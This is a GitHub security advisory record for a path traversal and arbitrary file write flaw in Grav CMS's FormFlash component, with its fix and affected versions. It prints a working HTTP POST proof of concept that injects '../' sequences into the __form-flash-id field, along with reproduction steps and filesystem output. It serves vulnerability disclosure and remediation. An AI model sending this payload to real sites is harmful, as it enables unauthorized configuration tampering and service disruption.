{"id":"GHSA-hmcx-ch82-3fv2","summary":"Grav has Unauthenticated Path Traversal & Arbitrary File Write in its FormFlash component","details":"# Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write\n\n**[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection**\n\n## Summary\n\nGrav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as `__form-flash-id` in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an `index.yaml` file containing attacker-controlled data.\n\nThis vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.\n\n## Affected Component\n\n- Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026).\n- Class: `Grav\\Framework\\Form\\FormFlash`\n- Method: `__construct()` / `getTmpDir()`\n- Parameter: `session_id` (Mapped to `__form-flash-id` in POST requests)\n\n## Vulnerability Details\n\nThe FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source:\n\n```php\n$folder = $config['folder'] ?? ($this-\u003esessionId ? 'tmp://forms/' . $this-\u003esessionId : '');\n$this-\u003efolder = $folder && $locator-\u003eisStream($folder) ? $locator-\u003efindResource($folder, true, true) : $folder;\n```\n\nLack of sanitization on the sessionId (the raw session identifier) allows the use of `../` sequences. When `findResource` resolves the stream, it allows escape into any writable directory within the webserver's scope (typically `user/config/`, `cache/`, `logs/`, and `tmp/`).\n\n## Affected Versions & Zero-Day Status\n\n- Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025).\n- Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched.\n- Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions).\n- CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.\n\n## Steps to Reproduce\n\n1. Identify any page containing a Grav Form (e.g., `/contact`).\n2. Intercept the POST request during form submission.\n3. Modify the `__form-flash-id` parameter to include a traversal sequence targeting a writable directory (e.g., `../../user/config/proof_dir`).\n4. Submit the request.\n5. Observe that a new directory (`poc/`) and file (`index.yaml`) have been created at the traversed path.\n\n## Request Example\n\n```http\nPOST /contact HTTP/1.1\nHost: target.grav.cms\nContent-Type: application/x-www-form-urlencoded\n\n__form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=Payload\n```\n\n## Response / Result\n\n- HTTP/1.1 302 Found (Standard redirect)\n- Filesystem Modification:\n  - Directory Created: `/var/www/html/user/config/proof_dir/poc/`\n  - File Created: `/var/www/html/user/config/proof_dir/poc/index.yaml`\n\n## Proof of Concept Evidence (Before/After)\n\n### Before Exploitation\n\n- Status: Directory does not exist.\n- Evidence:\n\n```bash\n$ ls -la /var/www/html/user/config/proof_dir/\nls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directory\n```\n\n### After Exploitation\n\n- Status: Arbitrary directory and `index.yaml` created.\n- Evidence:\n\n```bash\n$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml\n-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml\n$ cat /var/www/html/user/config/proof_dir/poc/index.yaml\nform: ''\nid: ''\nunique_id: poc\n...\ndata:\n  poc_status: confirmed\n```\n\n## Impact\n\n- Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation.\n- Configuration Injection: Writing `index.yaml` into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings.\n- Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses.\n- Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).\n\n## Attack Requirements\n\n- Authentication: None (Unauthenticated)\n- Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)\n\n## Exploitability Assessment\n\n- Complexity: Low. Requires only basic HTTP POST parameters.\n- Reliability: 100% (Deterministically reproducible in vulnerable versions).\n- Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.\n\n## Remediation\n\n1. Sanitize Session IDs: Apply `basename()` or a strict alphanumeric regex to the `session_id` in FormFlash before path construction.\n2. Filesystem Hardening: Ensure `user/config/` and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories.\n3. Update Grav: Monitor for patches addressing FormFlash sanitization.\n\n---\n\n## Maintainer note — fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**.\n\n**What changed:** `FormFlash::__construct()` now sanitizes `session_id`, `unique_id`, and `id` through a strict `[A-Za-z0-9,_-]{1,64}` allowlist before any path is constructed from them. Invalid values collapse to `''`, which causes `save()`/`delete()`/`getTmpDir()` to no-op — so a `__form-flash-id=../../user/config/proof_dir` POST simply does nothing on disk.\n\n**Files:**\n\n- [`system/src/Grav/Framework/Form/FormFlash.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Form/FormFlash.php)\n- [`tests/unit/Grav/Common/Security/FormFlashSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FormFlashSecurityTest.php) — 32 test cases covering the PoC + variants.","aliases":["CVE-2026-42608"],"modified":"2026-09-10T03:51:05.981206248Z","published":"2026-05-05T21:34:58Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-05T21:34:58Z","nvd_published_at":"2026-05-11T16:17:33Z"},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42608"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/d904efc33e03ebb597afde8d3368b28cf0423632"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-beta.2"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0-beta.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hmcx-ch82-3fv2/GHSA-hmcx-ch82-3fv2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}]}